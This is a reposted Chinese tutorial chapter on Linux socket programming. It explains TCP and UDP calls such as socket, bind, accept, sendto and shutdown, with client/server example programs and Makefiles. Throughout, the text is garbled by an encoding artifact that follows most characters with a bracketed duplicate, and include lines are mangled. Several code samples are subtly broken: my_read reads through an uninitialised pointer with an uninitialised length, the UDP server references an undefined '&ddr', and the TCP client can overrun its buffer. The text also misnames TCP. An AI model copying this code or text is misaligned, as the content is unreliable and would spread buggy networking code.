| 續前貼
8)Linux程序設計入門(mén)--網(wǎng)絡(luò )編程
Linux系統的一個(gè)主要特點(diǎn)是他的網(wǎng)絡(luò )功能非常強大。隨著(zhù)網(wǎng)絡(luò )的日益普及，基于網(wǎng)絡(luò )的
應用也將越來(lái)越多。 在這個(gè)網(wǎng)絡(luò )時(shí)代，掌握了Linux的網(wǎng)絡(luò )編程技術(shù)，將令每一個(gè)人處
于不敗之地，學(xué)習Linux的網(wǎng)絡(luò )編程，可以讓我們真正的體會(huì )到網(wǎng)絡(luò )的魅力。 想成為一
位真正的hacker，必須掌握網(wǎng)絡(luò )編程技術(shù)。
現在書(shū)店里面已經(jīng)有了許多關(guān)于Linux網(wǎng)絡(luò )編程方面的書(shū)籍，網(wǎng)絡(luò )上也有了許多關(guān)于
網(wǎng)絡(luò )編程方面的教材，大家都可以 去看一看的。在這里我會(huì )和大家一起來(lái)領(lǐng)會(huì )Linux網(wǎng)
絡(luò )編程的奧妙，由于我學(xué)習Linux的網(wǎng)絡(luò )編程也開(kāi)始不久，所以我下面所說(shuō)的肯定會(huì )有錯
誤的， 還請大家指點(diǎn)出來(lái)，在這里我先謝謝大家了。
在這一個(gè)章節里面，我會(huì )和以前的幾個(gè)章節不同，在前面我都是概括的說(shuō)了一下，
從現在開(kāi)始我會(huì )盡可能的詳細的說(shuō)明每一個(gè)函數及其用法。好了讓我們去領(lǐng)會(huì )Linux的偉
大的魅力吧！
開(kāi)始進(jìn)入網(wǎng)絡(luò )編程
網(wǎng)絡(luò )編程(1)
1. Linux網(wǎng)絡(luò )知識介紹
1.1 客戶(hù)端程序和服務(wù)端程序
網(wǎng)絡(luò )程序和普通的程序有一個(gè)最大的區別是網(wǎng)絡(luò )程序是由兩個(gè)部分組成的--客戶(hù)端和服
務(wù)器端.
網(wǎng)絡(luò )程序是先有服務(wù)器程序啟動(dòng),等待客戶(hù)端的程序運行并建立連接.一般的來(lái)說(shuō)是服務(wù)
端的程序 在一個(gè)端口上監聽(tīng),直到有一個(gè)客戶(hù)端的程序發(fā)來(lái)了請求.
1.2 常用的命令
由于網(wǎng)絡(luò )程序是有兩個(gè)部分組成,所以在調試的時(shí)候比較麻煩,為此我們有必要知道一些
常用的網(wǎng)絡(luò )命令
netstat
命令netstat是用來(lái)顯示網(wǎng)絡(luò )的連接,路由表和接口統計等網(wǎng)絡(luò )的信息.netstat有許多的
選項 我們常用的選項是 -an 用來(lái)顯示詳細的網(wǎng)絡(luò )狀態(tài).至于其它的選項我們可以使用幫
助手冊獲得詳細的情況.
telnet
telnet是一個(gè)用來(lái)遠程控制的程序,但是我們完全可以用這個(gè)程序來(lái)調試我們的服務(wù)端程
序的. 比如我們的服務(wù)器程序在監聽(tīng)8888端口,我們可以用telnet localhost 8888來(lái)查
看服務(wù)端的狀況.
1.3 TCP/UDP介紹
TCP(Transfer Control Protocol)傳輸控制協(xié)議是一種面向連接的協(xié)議,當我們的網(wǎng)絡(luò )程
序使用 這個(gè)協(xié)議的時(shí)候,網(wǎng)絡(luò )可以保證我們的客戶(hù)端和服務(wù)端的連接是可靠的,安全的.
UDP(User Datagram Protocol)用戶(hù)數據報協(xié)議是一種非面向連接的協(xié)議,這種協(xié)議并不
能保證我們 的網(wǎng)絡(luò )程序的連接是可靠的,所以我們現在編寫(xiě)的程序一般是采用TCP協(xié)議的
..
網(wǎng)絡(luò )編程（2）
2. 初等網(wǎng)絡(luò )函數介紹（TCP）
Linux系統是通過(guò)提供套接字(socket)來(lái)進(jìn)行網(wǎng)絡(luò )編程的.網(wǎng)絡(luò )程序通過(guò)socket和其它
幾個(gè)函數的調用,會(huì )返回一個(gè) 通訊的文件描述符,我們可以將這個(gè)描述符看成普通的文件
的描述符來(lái)操作,這就是linux的設備無(wú)關(guān)性的 好處.我們可以通過(guò)向描述符讀寫(xiě)操作實(shí)
現網(wǎng)絡(luò )之間的數據交流.
2.1 socket
int socket(int domain, int type,int protocol)
domain:說(shuō)明我們網(wǎng)絡(luò )程序所在的主機采用的通訊協(xié)族(AF_UNIX和AF_INET等). AF_UN
IX只能夠用于單一的Unix系統進(jìn)程間通信,而AF_INET是針對Internet的,因而可以允許在
遠程 主機之間通信(當我們 man socket時(shí)發(fā)現 domain可選項是 PF_*而不是AF_*,因為
glibc是posix的實(shí)現 所以用PF代替了AF,不過(guò)我們都可以使用的).
type:我們網(wǎng)絡(luò )程序所采用的通訊協(xié)議(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明
我們用的是TCP協(xié)議,這樣會(huì )提供按順序的,可靠,雙向,面向連接的比特流. SOCK_DGRAM
表明我們用的是UDP協(xié)議,這樣只會(huì )提供定長(cháng)的,不可靠,無(wú)連接的通信.
protocol:由于我們指定了type,所以這個(gè)地方我們一般只要用0來(lái)代替就可以了 sock
et為網(wǎng)絡(luò )通訊做基本的準備.成功時(shí)返回文件描述符,失敗時(shí)返回-1,看errno可知道出錯
的詳細情況.
2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket調用返回的文件描述符.
addrlen:是sockaddr結構的長(cháng)度.
my_addr:是一個(gè)指向sockaddr的指針. 在<linux/socket.h>;中有 sockaddr的定義
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不過(guò)由于系統的兼容性,我們一般不用這個(gè)頭文件,而使用另外一個(gè)結構(struct sock
addr_in) 來(lái)代替.在<linux/in.h>;中有sockaddr_in的定義
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
我們主要使用Internet所以sin_family一般為AF_INET,sin_addr設置為INADDR_ANY表
示可以 和任何的主機通信,sin_port是我們要監聽(tīng)的端口號.sin_zero[8]是用來(lái)填充的
.. bind將本地的端口同socket返回的文件描述符捆綁在一起.成功是返回0,失敗的情況和
socket一樣
2.3 listen
int listen(int sockfd,int backlog)
sockfd:是bind后的文件描述符.
backlog:設置請求排隊的最大長(cháng)度.當有多個(gè)客戶(hù)端程序和服務(wù)端相連時(shí), 使用這個(gè)表示
可以介紹的排隊長(cháng)度. listen函數將bind的文件描述符變?yōu)楸O聽(tīng)套接字.返回的情況和b
ind一樣.
2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen后的文件描述符.
addr,addrlen是用來(lái)給客戶(hù)端的程序填寫(xiě)的,服務(wù)器端只要傳遞指針就可以了. bind,li
sten和accept是服務(wù)器端用的函數,accept調用時(shí),服務(wù)器端的程序會(huì )一直阻塞到有一個(gè)
客戶(hù)程序發(fā)出了連接. accept成功時(shí)返回最后的服務(wù)器端的文件描述符,這個(gè)時(shí)候服務(wù)
器端可以向該描述符寫(xiě)信息了. 失敗時(shí)返回-1
2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:儲存了服務(wù)器端的連接信息.其中sin_add是服務(wù)端的地址
addrlen:serv_addr的長(cháng)度
connect函數是客戶(hù)端用來(lái)同服務(wù)端連接的.成功時(shí)返回0,sockfd是同服務(wù)端通訊的文件
描述符 失敗時(shí)返回-1.
2.6 實(shí)例
服務(wù)器端程序
/******* 服務(wù)器程序 (server.c) ************/
＃i nclude <stdlib.h>;
＃i nclude <stdio.h>;
＃i nclude <errno.h>;
＃i nclude <string.h>;
＃i nclude <netdb.h>;
＃i nclude <sys/types.h>;
＃i nclude <netinet/in.h>;
＃i nclude <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?\n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
/* 服務(wù)器端開(kāi)始建立socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
exit(1);
}
/* 服務(wù)器端填充 sockaddr結構 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆綁sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)
{
fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
exit(1);
}
/* 監聽(tīng)sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
exit(1);
}
while(1)
{
/* 服務(wù)器阻塞,直到客戶(hù)程序建立連接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
))==-1)
{
fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s\n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s\n",strerror(errno));
exit(1);
}
/* 這個(gè)通訊已經(jīng)結束 */
close(new_fd);
/* 循環(huán)下一個(gè) */
}
close(sockfd);
exit(0);
}
客戶(hù)端程序
/******* 客戶(hù)端程序 client.c ************/
＃i nclude <stdlib.h>;
＃i nclude <stdio.h>;
＃i nclude <errno.h>;
＃i nclude <string.h>;
＃i nclude <netdb.h>;
＃i nclude <sys/types.h>;
＃i nclude <netinet/in.h>;
＃i nclude <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error\n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
/* 客戶(hù)程序開(kāi)始建立 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
exit(1);
}
/* 客戶(hù)程序填充服務(wù)端的資料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->;h_addr);
/* 客戶(hù)程序發(fā)起連接請求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)
)==-1)
{
fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
exit(1);
}
/* 連接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s\n",strerror(errno));
exit(1);
}
buffer[nbytes]=‘\0‘;
printf("I have received:%s\n",buffer);
/* 結束通訊 */
close(sockfd);
exit(0);
}
MakeFile
這里我們使用GNU 的make實(shí)用程序來(lái)編譯. 關(guān)于make的詳細說(shuō)明見(jiàn) Make 使用介紹
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@
運行make后會(huì )產(chǎn)生兩個(gè)程序server(服務(wù)器端)和client(客戶(hù)端) 先運行./server port
number& (portnumber隨便取一個(gè)大于1204且不在/etc/services中出現的號碼 就用888
8好了),然后運行 ./client localhost 8888 看看有什么結果. (你也可以用telnet和n
etstat試一試.) 上面是一個(gè)最簡(jiǎn)單的網(wǎng)絡(luò )程序,不過(guò)是不是也有點(diǎn)煩.上面有許多函數我
們還沒(méi)有解釋. 我會(huì )在下一章進(jìn)行的詳細的說(shuō)明.
2.7 總結
總的來(lái)說(shuō)網(wǎng)絡(luò )程序是由兩個(gè)部分組成的--客戶(hù)端和服務(wù)器端.它們的建立步驟一般是:
服務(wù)器端
socket-->;bind-->;listen-->;accept
客戶(hù)端
socket-->;connect
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網(wǎng)絡(luò )編程(3)
3. 服務(wù)器和客戶(hù)機的信息函數
這一章我們來(lái)學(xué)習轉換和網(wǎng)絡(luò )方面的信息函數.
3.1 字節轉換函數
在網(wǎng)絡(luò )上面有著(zhù)許多類(lèi)型的機器,這些機器在表示數據的字節順序是不同的, 比如i386芯
片是低字節在內存地址的低端,高字節在高端,而alpha芯片卻相反. 為了統一起來(lái),在Li
nux下面,有專(zhuān)門(mén)的字節轉換函數.
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在這四個(gè)轉換函數中,h 代表host, n 代表 network.s 代表short l 代表long 第一個(gè)函
數的意義是將本機器上的long數據轉化為網(wǎng)絡(luò )上的long. 其他幾個(gè)函數的意義也差不多
..
3.2 IP和域名的轉換
在網(wǎng)絡(luò )上標志一臺機器可以用IP或者是用域名.那么我們怎么去進(jìn)行轉換呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在<netdb.h>;中有struct hostent的定義
struct hostent{
char *h_name; /* 主機的正式名稱(chēng) */
char *h_aliases; /* 主機的別名 */
int h_addrtype; /* 主機的地址類(lèi)型 AF_INET*/
int h_length; /* 主機的地址長(cháng)度 對于IP4 是4字節32位*/
char **h_addr_list; /* 主機的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主機的第一個(gè)IP地址*/
gethostbyname可以將機器名(如 linux.yessun.com)轉換為一個(gè)結構指針.在這個(gè)結構里
面儲存了域名的信息
gethostbyaddr可以將一個(gè)32位的IP地址(C0A80001)轉換為結構指針.
這兩個(gè)函數失敗時(shí)返回NULL 且設置h_errno錯誤變量,調用h_strerror()可以得到詳細的
出錯信息
3.3 字符串的IP和32位的IP轉換.
在網(wǎng)絡(luò )上面我們用的IP都是數字加點(diǎn)(192.168.0.1)構成的, 而在struct in_addr結構中
用的是32位的IP, 我們上面那個(gè)32位IP(C0A80001)是的192.168.0.1 為了轉換我們可以
使用下面兩個(gè)函數
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函數里面 a 代表 ascii n 代表network.第一個(gè)函數表示將a.b.c.d的IP轉換為32位的I
P,存儲在 inp指針里面.第二個(gè)是將32位IP轉換為a.b.c.d的格式.
3.4 服務(wù)信息函數
在網(wǎng)絡(luò )程序里面我們有時(shí)候需要知道端口.IP和服務(wù)信息.這個(gè)時(shí)候我們可以使用以下幾
個(gè)函數
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服務(wù)名 */
char **s_aliases; /* 別名列表 */
int s_port; /* 端口號 */
char *s_proto; /* 使用的協(xié)議 */
}
一般我們很少用這幾個(gè)函數.對應客戶(hù)端,當我們要得到連接的端口號時(shí)在connect調用成
功后使用可得到 系統分配的端口號.對于服務(wù)端,我們用INADDR_ANY填充后,為了得到連
接的IP我們可以在accept調用成功后 使用而得到IP地址.
在網(wǎng)絡(luò )上有許多的默認端口和服務(wù),比如端口21對ftp80對應WWW.為了得到指定的端口號
的服務(wù) 我們可以調用第四個(gè)函數,相反為了得到端口號可以調用第三個(gè)函數.
3.5 一個(gè)例子
＃i nclude <netdb.h>;
＃i nclude <stdio.h>;
＃i nclude <stdlib.h>;
＃i nclude <sys/socket.h>;
＃i nclude <netinet/in.h>;
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 這里我們假設是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s\n",*argv);
}
else
{
/* 失敗,難道是域名?*/
host=gethostbyname(*argv); printf("Address information
of host %s\n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s\n",*arg
v);
continue;
}
printf("Official host name %s\n",host->;h_name);
printf("Name aliases:");
for(alias=host->;h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("\nIp address:");
for(alias=host->;h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在這個(gè)例子里面,為了判斷用戶(hù)輸入的是IP還是域名我們調用了兩個(gè)函數,第一次我們假
設輸入的是IP所以調用inet_aton, 失敗的時(shí)候,再調用gethostbyname而得到信息.
--
網(wǎng)絡(luò )編程(4)
4. 完整的讀寫(xiě)函數
一旦我們建立了連接,我們的下一步就是進(jìn)行通信了.在Linux下面把我們前面建立的通道
看成是文件描述符,這樣服務(wù)器端和客戶(hù)端進(jìn)行通信時(shí)候,只要往文件描述符里面讀寫(xiě)東
西了. 就象我們往文件讀寫(xiě)一樣.
4.1 寫(xiě)函數write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函數將buf中的nbytes字節內容寫(xiě)入文件描述符fd.成功時(shí)返回寫(xiě)的字節數.失敗時(shí)
返回-1. 并設置errno變量. 在網(wǎng)絡(luò )程序中,當我們向套接字文件描述符寫(xiě)時(shí)有倆種可能
..
1)write的返回值大于0,表示寫(xiě)了部分或者是全部的數據.
2)返回的值小于0,此時(shí)出現了錯誤.我們要根據錯誤類(lèi)型來(lái)處理.
如果錯誤為EINTR表示在寫(xiě)的時(shí)候出現了中斷錯誤.
如果為EPIPE表示網(wǎng)絡(luò )連接出現了問(wèn)題(對方已經(jīng)關(guān)閉了連接).
為了處理以上的情況,我們自己編寫(xiě)一個(gè)寫(xiě)函數來(lái)處理這幾種情況.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>;0)
{
/* 開(kāi)始寫(xiě)*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出錯了*/
{
if(errno==EINTR) /* 中斷錯誤 我們繼續寫(xiě)*/
written_bytes=0;
else /* 其他錯誤 沒(méi)有辦法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 從剩下的地方繼續寫(xiě) */
}
return(0);
}
4.2 讀函數read
ssize_t read(int fd,void *buf,size_t nbyte) read函數是負責從fd中讀取內容.當讀
成功時(shí),read返回實(shí)際所讀的字節數,如果返回的值是0 表示已經(jīng)讀到文件的結束了,小于
0表示出現了錯誤.如果錯誤為EINTR說(shuō)明讀是由中斷引起的, 如果是ECONNREST表示網(wǎng)絡(luò )
連接出了問(wèn)題. 和上面一樣,我們也寫(xiě)一個(gè)自己的讀函數.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>;0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 數據的傳遞
有了上面的兩個(gè)函數,我們就可以向客戶(hù)端或者是服務(wù)端傳遞數據了.比如我們要傳遞一
個(gè)結構.可以使用如下方式
/* 客戶(hù)端向服務(wù)端寫(xiě) */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服務(wù)端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在網(wǎng)絡(luò )上傳遞數據時(shí)我們一般都是把數據轉化為char類(lèi)型的數據傳遞.接收的時(shí)候也是一
樣的 注意的是我們沒(méi)有必要在網(wǎng)絡(luò )上傳遞指針(因為傳遞指針是沒(méi)有任何意義的,我們必
須傳遞指針所指向的內容)
--
網(wǎng)絡(luò )編程(5)
5. 用戶(hù)數據報發(fā)送
我們前面已經(jīng)學(xué)習網(wǎng)絡(luò )程序的一個(gè)很大的部分,由這個(gè)部分的知識,我們實(shí)際上可以寫(xiě)出
大部分的基于TCP協(xié)議的網(wǎng)絡(luò )程序了.現在在Linux下的大部分程序都是用我們上面所學(xué)的
知識來(lái)寫(xiě)的.我們可以去找一些源程序來(lái)參考一下.這一章,我們簡(jiǎn)單的學(xué)習一下基于UDP
協(xié)議的網(wǎng)絡(luò )程序.
5.1 兩個(gè)常用的函數
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka
ddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s
ockaddr *to int tolen)
sockfd,buf,len的意義和read,write一樣,分別表示套接字描述符,發(fā)送或接收的緩沖區
及大小.recvfrom負責從sockfd接收數據,如果from不是NULL,那么在from里面存儲了信息
來(lái)源的情況,如果對信息的來(lái)源不感興趣,可以將from和fromlen設置為NULL.sendto負責
向to發(fā)送信息.此時(shí)在to里面存儲了收信息方的詳細資料.
5.2 一個(gè)實(shí)例
/* 服務(wù)端程序 server.c */
＃i nclude <sys/types.h>;
＃i nclude <sys/socket.h>;
＃i nclude <netinet/in.h>;
＃i nclude <stdio.h>;
＃i nclude <errno.h>;
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 從網(wǎng)絡(luò )上度,寫(xiě)到網(wǎng)絡(luò )上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 顯示服務(wù)端已經(jīng)收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0
)
{
fprintf(stderr,"Bind Error:%s\n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
/* 客戶(hù)端程序 */
＃i nclude <sys/types.h>;
＃i nclude <sys/socket.h>;
＃i nclude <netinet/in.h>;
＃i nclude <errno.h>;
＃i nclude <stdio.h>;
＃i nclude <unistd.h>;
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 從鍵盤(pán)讀入,寫(xiě)到服務(wù)端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 從網(wǎng)絡(luò )上讀,寫(xiě)到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
/* 填充服務(wù)端的資料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s\n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 編譯文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
上面的實(shí)例如果大家編譯運行的話(huà),會(huì )發(fā)現一個(gè)小問(wèn)題的. 在我機器上面,我先運行服務(wù)
端,然后運行客戶(hù)端.在客戶(hù)端輸入信息,發(fā)送到服務(wù)端, 在服務(wù)端顯示已經(jīng)收到信息,但
是客戶(hù)端沒(méi)有反映.再運行一個(gè)客戶(hù)端,向服務(wù)端發(fā)出信息 卻可以得到反應.我想可能是
第一個(gè)客戶(hù)端已經(jīng)阻塞了.如果誰(shuí)知道怎么解決的話(huà),請告訴我,謝謝. 由于UDP協(xié)議是不
保證可靠接收數據的要求,所以我們在發(fā)送信息的時(shí)候,系統并不能夠保證我們發(fā)出的信
息都正確無(wú)誤的到達目的地.一般的來(lái)說(shuō)我們在編寫(xiě)網(wǎng)絡(luò )程序的時(shí)候都是選用TCP協(xié)議的
--
網(wǎng)絡(luò )編程(6)
6. 高級套接字函數
在前面的幾個(gè)部分里面,我們已經(jīng)學(xué)會(huì )了怎么樣從網(wǎng)絡(luò )上讀寫(xiě)信息了.前面的一些函數(r
ead,write)是網(wǎng)絡(luò )程序里面最基本的函數.也是最原始的通信函數.在這一章里面,我們一
起來(lái)學(xué)習網(wǎng)絡(luò )通信的高級函數.這一章我們學(xué)習另外幾個(gè)讀寫(xiě)函數.
6.1 recv和send
recv和send函數提供了和read和write差不多的功能.不過(guò)它們提供 了第四個(gè)參數來(lái)控制
讀寫(xiě)操作.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三個(gè)參數和read,write一樣,第四個(gè)參數可以是0或者是以下的組合
_______________________________________________________________
| MSG_DONTROUTE | 不查找路由表 |
| MSG_OOB | 接受或者發(fā)送帶外數據 |
| MSG_PEEK | 查看數據,并不從系統緩沖區移走數據 |
| MSG_WAITALL | 等待所有數據 |
|--------------------------------------------------------------|
MSG_DONTROUTE:是send函數使用的標志.這個(gè)標志告訴IP協(xié)議.目的主機在本地網(wǎng)絡(luò )上面
,沒(méi)有必要查找路由表.這個(gè)標志一般用網(wǎng)絡(luò )診斷和路由程序里面.
MSG_OOB:表示可以接收和發(fā)送帶外的數據.關(guān)于帶外數據我們以后會(huì )解釋的.
MSG_PEEK:是recv函數的使用標志,表示只是從系統緩沖區中讀取內容,而不清楚系統緩沖
區的內容.這樣下次讀的時(shí)候,仍然是一樣的內容.一般在有多個(gè)進(jìn)程讀寫(xiě)數據時(shí)可以使用
這個(gè)標志.
MSG_WAITALL是recv函數的使用標志,表示等到所有的信息到達時(shí)才返回.使用這個(gè)標志的
時(shí)候recv回一直阻塞,直到指定的條件滿(mǎn)足,或者是發(fā)生了錯誤. 1)當讀到了指定的字節
時(shí),函數正常返回.返回值等于len 2)當讀到了文件的結尾時(shí),函數正常返回.返回值小于
len 3)當操作發(fā)生錯誤時(shí),返回-1,且設置錯誤為相應的錯誤號(errno)
如果flags為0,則和read,write一樣的操作.還有其它的幾個(gè)選項,不過(guò)我們實(shí)際上用的很
少,可以查看 Linux Programmer‘s Manual得到詳細解釋.
6.2 recvfrom和sendto
這兩個(gè)函數一般用在非套接字的網(wǎng)絡(luò )程序當中(UDP),我們已經(jīng)在前面學(xué)會(huì )了.
6.3 recvmsg和sendmsg
recvmsg和sendmsg可以實(shí)現前面所有的讀寫(xiě)函數的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 緩沖區開(kāi)始的地址 */
size_t iov_len; /* 緩沖區的長(cháng)度 */
}
msg_name和 msg_namelen當套接字是非面向連接時(shí)(UDP),它們存儲接收和發(fā)送方的地址
信息.msg_name實(shí)際上是一個(gè)指向struct sockaddr的指針,msg_name是結構的長(cháng)度.當套
接字是面向連接時(shí),這兩個(gè)值應設為NULL. msg_iov和msg_iovlen指出接受和發(fā)送的緩沖
區內容.msg_iov是一個(gè)結構指針,msg_iovlen指出這個(gè)結構數組的大小. msg_control和
msg_controllen這兩個(gè)變量是用來(lái)接收和發(fā)送控制數據時(shí)的 msg_flags指定接受和發(fā)送
的操作選項.和recv,send的選項一樣
6.4 套接字的關(guān)閉
關(guān)閉套接字有兩個(gè)函數close和shutdown.用close時(shí)和我們關(guān)閉文件一樣.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP連接是雙向的(是可讀寫(xiě)的),當我們使用close時(shí),會(huì )把讀寫(xiě)通道都關(guān)閉,有時(shí)侯我們希
望只關(guān)閉一個(gè)方向,這個(gè)時(shí)候我們可以使用shutdown.針對不同的howto,系統回采取不同
的關(guān)閉方式.
howto=0這個(gè)時(shí)候系統會(huì )關(guān)閉讀通道.但是可以繼續往接字描述符寫(xiě).
howto=1關(guān)閉寫(xiě)通道,和上面相反,著(zhù)時(shí)候就只可以讀了.
howto=2關(guān)閉讀寫(xiě)通道,和close一樣 在多進(jìn)程程序里面,如果有幾個(gè)子進(jìn)程共享一個(gè)套接
字時(shí),如果我們使用shutdown, 那么所有的子進(jìn)程都不能夠操作了,這個(gè)時(shí)候我們只能夠
使用close來(lái)關(guān)閉子進(jìn)程的套接字描述符.
網(wǎng)絡(luò )編程(7)
7. TCP/IP協(xié)議
